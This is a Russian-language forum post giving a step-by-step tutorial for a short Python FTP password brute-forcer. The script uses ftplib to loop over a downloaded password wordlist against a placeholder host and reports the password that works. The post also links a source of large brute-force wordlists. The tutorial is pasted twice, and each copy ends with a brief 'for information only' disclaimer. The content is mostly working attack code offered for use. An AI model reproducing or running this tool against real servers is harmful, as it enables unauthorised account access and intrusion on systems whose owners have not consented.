- Регистрация
- 8 Янв 2019
- Сообщения
- 527
- Реакции
- 71
- Баллы
- 118
[SIZE=13.5pt]Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python. [/SIZE]
[SIZE=13.5pt]Полный код состоит всего из 20 строк, и инструмент достаточно прост. [/SIZE]
[SIZE=21pt]Создайте новый файл Python [/SIZE]
[SIZE=13.5pt]Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству. [/SIZE]
[SIZE=21pt]Импортируйте FTPlib [/SIZE]
[SIZE=13.5pt]FTPlib — это стандартная библиотека, используйте ее. [/SIZE]
[SIZE=13.5pt]Запишите следующий фрагмент кода в свой файл Python. [/SIZE]
[SIZE=12pt]from ftplib import FTP [/SIZE]
[SIZE=21pt]Список[/SIZE] [SIZE=21pt]паролей[/SIZE]
[SIZE=13.5pt]Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим
. [/SIZE]
[SIZE=13.5pt]Большие списки паролей для брутфорса | скачать бесплатноhttps://itsecforu.ru/2018/11/16/большие-списки-паролей-для-брутфорса/[/SIZE]
[SIZE=13.5pt]Ahadu — Генератор списка паролей [/SIZE]
[SIZE=13.5pt]Создайте строковое значение, которое позволит вам указать местоположение вашего password_list. [/SIZE]
[SIZE=13.5pt]Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку. [/SIZE]
[SIZE=12pt]password_list = "my_password_list.txt"[/SIZE]
[SIZE=12pt]username = "anonymous"[/SIZE]
[SIZE=12pt]target = "ftp.kakoitosite.ru" [/SIZE]
[SIZE=21pt]Цикл [/SIZE]
[SIZE=13.5pt]Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python. [/SIZE]
[SIZE=13.5pt]Добавьте следующую строку кода: [/SIZE]
[SIZE=12pt]def start():[/SIZE]
[SIZE=12pt]setx = [][/SIZE]
[SIZE=12pt] f = open(password_list)[/SIZE]
[SIZE=12pt]setx = f.readlines() [/SIZE]
[SIZE=13.5pt]Продолжаем добавлять цикл и шаги входа в систему: [/SIZE]
[SIZE=12pt]for password in setx: [/SIZE]
[SIZE=12pt] password = password.strip()[/SIZE]
[SIZE=12pt] try: [/SIZE]
[SIZE=12pt] ftp = FTP(target)[/SIZE]
[SIZE=12pt] ftp.login(user=username, passwd = password)[/SIZE]
[SIZE=12pt] print("Success:",str(password))[/SIZE]
[SIZE=12pt] break[/SIZE]
[SIZE=12pt] except Exception as e: [/SIZE]
[SIZE=12pt] print("Fail:",str(e)," [X]-> ",password) [/SIZE]
[SIZE=21pt]Запуск [/SIZE]
[SIZE=13.5pt]Последний шаг, который мы сделаем, — это добавим start() в конец кода Python. [/SIZE]
[SIZE=12pt]start() [/SIZE]
[SIZE=21pt]Конечный[/SIZE] [SIZE=21pt]результат[/SIZE]
[SIZE=12pt]from ftplib import FTP[/SIZE]
[SIZE=12pt]#options[/SIZE]
[SIZE=12pt]password_list = "my_password_list.txt"[/SIZE]
[SIZE=12pt]username = "anonymous"[/SIZE]
[SIZE=12pt]target = "ftp.kakoitosite.ru"[/SIZE]
[SIZE=12pt]def start():[/SIZE]
[SIZE=12pt]setx = [][/SIZE]
[SIZE=12pt] f = open(password_list)[/SIZE]
[SIZE=12pt] setx = f.readlines()[/SIZE]
[SIZE=12pt] for password in setx: [/SIZE]
[SIZE=12pt] password = password.strip()[/SIZE]
[SIZE=12pt] try: [/SIZE]
[SIZE=12pt] ftp = FTP(target)[/SIZE]
[SIZE=12pt] ftp.login(user=username, passwd = password)[/SIZE]
[SIZE=12pt] print("Success:",str(password))[/SIZE]
[SIZE=12pt] break[/SIZE]
[SIZE=12pt] except Exception as e: [/SIZE]
[SIZE=12pt] print("Fail:",str(e)," [X]-> ",password)[/SIZE]
[SIZE=12pt]start()[/SIZE]
[SIZE=16pt]Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.[/SIZE]
[SIZE=13.5pt]Полный код состоит всего из 20 строк, и инструмент достаточно прост. [/SIZE]
[SIZE=21pt]Создайте новый файл Python [/SIZE]
[SIZE=13.5pt]Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству. [/SIZE]
[SIZE=21pt]Импортируйте FTPlib [/SIZE]
[SIZE=13.5pt]FTPlib — это стандартная библиотека, используйте ее. [/SIZE]
[SIZE=13.5pt]Запишите следующий фрагмент кода в свой файл Python. [/SIZE]
[SIZE=12pt]from ftplib import FTP [/SIZE]
[SIZE=21pt]Список[/SIZE] [SIZE=21pt]паролей[/SIZE]
[SIZE=13.5pt]Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим
[SIZE=13.5pt]Большие списки паролей для брутфорса | скачать бесплатноhttps://itsecforu.ru/2018/11/16/большие-списки-паролей-для-брутфорса/[/SIZE]
[SIZE=13.5pt]Ahadu — Генератор списка паролей [/SIZE]
[SIZE=13.5pt]Создайте строковое значение, которое позволит вам указать местоположение вашего password_list. [/SIZE]
[SIZE=13.5pt]Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку. [/SIZE]
[SIZE=12pt]password_list = "my_password_list.txt"[/SIZE]
[SIZE=12pt]username = "anonymous"[/SIZE]
[SIZE=12pt]target = "ftp.kakoitosite.ru" [/SIZE]
[SIZE=21pt]Цикл [/SIZE]
[SIZE=13.5pt]Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python. [/SIZE]
[SIZE=13.5pt]Добавьте следующую строку кода: [/SIZE]
[SIZE=12pt]def start():[/SIZE]
[SIZE=12pt]setx = [][/SIZE]
[SIZE=12pt] f = open(password_list)[/SIZE]
[SIZE=12pt]setx = f.readlines() [/SIZE]
[SIZE=13.5pt]Продолжаем добавлять цикл и шаги входа в систему: [/SIZE]
[SIZE=12pt]for password in setx: [/SIZE]
[SIZE=12pt] password = password.strip()[/SIZE]
[SIZE=12pt] try: [/SIZE]
[SIZE=12pt] ftp = FTP(target)[/SIZE]
[SIZE=12pt] ftp.login(user=username, passwd = password)[/SIZE]
[SIZE=12pt] print("Success:",str(password))[/SIZE]
[SIZE=12pt] break[/SIZE]
[SIZE=12pt] except Exception as e: [/SIZE]
[SIZE=12pt] print("Fail:",str(e)," [X]-> ",password) [/SIZE]
[SIZE=21pt]Запуск [/SIZE]
[SIZE=13.5pt]Последний шаг, который мы сделаем, — это добавим start() в конец кода Python. [/SIZE]
[SIZE=12pt]start() [/SIZE]
[SIZE=21pt]Конечный[/SIZE] [SIZE=21pt]результат[/SIZE]
[SIZE=12pt]from ftplib import FTP[/SIZE]
[SIZE=12pt]#options[/SIZE]
[SIZE=12pt]password_list = "my_password_list.txt"[/SIZE]
[SIZE=12pt]username = "anonymous"[/SIZE]
[SIZE=12pt]target = "ftp.kakoitosite.ru"[/SIZE]
[SIZE=12pt]def start():[/SIZE]
[SIZE=12pt]setx = [][/SIZE]
[SIZE=12pt] f = open(password_list)[/SIZE]
[SIZE=12pt] setx = f.readlines()[/SIZE]
[SIZE=12pt] for password in setx: [/SIZE]
[SIZE=12pt] password = password.strip()[/SIZE]
[SIZE=12pt] try: [/SIZE]
[SIZE=12pt] ftp = FTP(target)[/SIZE]
[SIZE=12pt] ftp.login(user=username, passwd = password)[/SIZE]
[SIZE=12pt] print("Success:",str(password))[/SIZE]
[SIZE=12pt] break[/SIZE]
[SIZE=12pt] except Exception as e: [/SIZE]
[SIZE=12pt] print("Fail:",str(e)," [X]-> ",password)[/SIZE]
[SIZE=12pt]start()[/SIZE]
[SIZE=16pt]Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.[/SIZE]

